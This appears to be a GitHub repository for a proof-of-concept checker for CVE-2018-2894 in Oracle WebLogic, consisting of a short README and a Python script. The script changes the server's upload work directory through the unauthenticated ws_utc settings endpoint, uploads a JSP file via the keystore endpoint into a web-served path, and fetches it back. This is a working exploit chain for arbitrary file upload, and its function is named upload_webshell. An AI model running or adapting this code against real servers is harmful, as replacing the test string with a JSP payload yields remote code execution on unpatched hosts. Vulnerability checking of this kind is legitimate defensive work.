├── poc.png ├── README.md └── CVE-2018-2894.py /poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/CVE-2018-2894/HEAD/poc.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2018-2894 2 | 3 | 4 | 5 | **CVE-2018-2894** (WebLogic 未授权访问致任意文件上传/RCE漏洞) 检查脚本. 6 | 7 | ![poc](poc.png) 8 | 9 | -------------------------------------------------------------------------------- /CVE-2018-2894.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding:utf-8 3 | # Build By LandGrey 4 | 5 | import re 6 | import sys 7 | import time 8 | import argparse 9 | import requests 10 | import traceback 11 | import xml.etree.ElementTree as ET 12 | 13 | 14 | def get_current_work_path(host): 15 | geturl = host + "/ws_utc/resources/setting/options/general" 16 | ua = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0'} 17 | values = [] 18 | try: 19 | request = requests.get(geturl) 20 | if request.status_code == 404: 21 | exit("[-] {} don't exists CVE-2018-2894".format(host)) 22 | elif "Deploying Application".lower() in request.text.lower(): 23 | print("[*] First Deploying Website Please wait a moment ...") 24 | time.sleep(20) 25 | request = requests.get(geturl, headers=ua) 26 | if "" in request.content: 27 | root = ET.fromstring(request.content) 28 | value = root.find("section").find("options") 29 | for e in value: 30 | for sub in e: 31 | if e.tag == "parameter" and sub.tag == "defaultValue": 32 | values.append(sub.text) 33 | except requests.ConnectionError: 34 | exit("[-] Cannot connect url: {}".format(geturl)) 35 | if values: 36 | return values[0] 37 | else: 38 | print("[-] Cannot get current work path\n") 39 | exit(request.content) 40 | 41 | 42 | def get_new_work_path(host): 43 | origin_work_path = get_current_work_path(host) 44 | works = "/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css" 45 | if "user_projects" in origin_work_path: 46 | if "\\" in origin_work_path: 47 | works = works.replace("/", "\\") 48 | current_work_home = origin_work_path[:origin_work_path.find("user_projects")] + "user_projects\\domains" 49 | dir_len = len(current_work_home.split("\\")) 50 | domain_name = origin_work_path.split("\\")[dir_len] 51 | current_work_home += "\\" + domain_name + works 52 | else: 53 | current_work_home = origin_work_path[:origin_work_path.find("user_projects")] + "user_projects/domains" 54 | dir_len = len(current_work_home.split("/")) 55 | domain_name = origin_work_path.split("/")[dir_len] 56 | current_work_home += "/" + domain_name + works 57 | else: 58 | current_work_home = origin_work_path 59 | print("[*] cannot handle current work home dir: {}".format(origin_work_path)) 60 | return current_work_home 61 | 62 | 63 | def set_new_upload_path(host, path): 64 | data = { 65 | "setting_id": "general", 66 | "BasicConfigOptions.workDir": path, 67 | "BasicConfigOptions.proxyHost": "", 68 | "BasicConfigOptions.proxyPort": "80"} 69 | request = requests.post(host + "/ws_utc/resources/setting/options", data=data, headers=headers) 70 | if "successfully" in request.content: 71 | return True 72 | else: 73 | print("[-] Change New Upload Path failed") 74 | exit(request.content) 75 | 76 | 77 | def upload_webshell(host, uri): 78 | set_new_upload_path(host, get_new_work_path(host)) 79 | files = { 80 | "ks_edit_mode": "false", 81 | "ks_password_front": password, 82 | "ks_password_changed": "true", 83 | "ks_filename": ("360sglab.jsp", upload_content) 84 | } 85 | 86 | request = requests.post(host + uri, files=files) 87 | response = request.text 88 | match = re.findall("(.*?)", response) 89 | if match: 90 | tid = match[-1] 91 | shell_path = host + "/ws_utc/css/config/keystore/" + str(tid) + "_360sglab.jsp" 92 | if upload_content in requests.get(shell_path, headers=headers).content: 93 | print("[+] {} exists CVE-2018-2894".format(host)) 94 | print("[+] Check URL: {} ".format(shell_path)) 95 | else: 96 | print("[-] {} don't exists CVE-2018-2894".format(host)) 97 | else: 98 | print("[-] {} don't exists CVE-2018-2894".format(host)) 99 | 100 | 101 | if __name__ == "__main__": 102 | start = time.time() 103 | password = "360sglab" 104 | url = "/ws_utc/resources/setting/keystore" 105 | parser = argparse.ArgumentParser() 106 | parser.add_argument("-t", dest='target', default="http://127.0.0.1:7001", type=str, 107 | help="target, such as: http://example.com:7001") 108 | 109 | upload_content = "360sglab test" 110 | headers = { 111 | 'Content-Type': 'application/x-www-form-urlencoded', 112 | 'X-Requested-With': 'XMLHttpRequest', } 113 | 114 | if len(sys.argv) == 1: 115 | sys.argv.append('-h') 116 | args = parser.parse_args() 117 | target = args.target 118 | 119 | target = target.rstrip('/') 120 | if "://" not in target: 121 | target = "http://" + target 122 | try: 123 | upload_webshell(target, url) 124 | except Exception as e: 125 | print("[-] Error: \n") 126 | traceback.print_exc() 127 | --------------------------------------------------------------------------------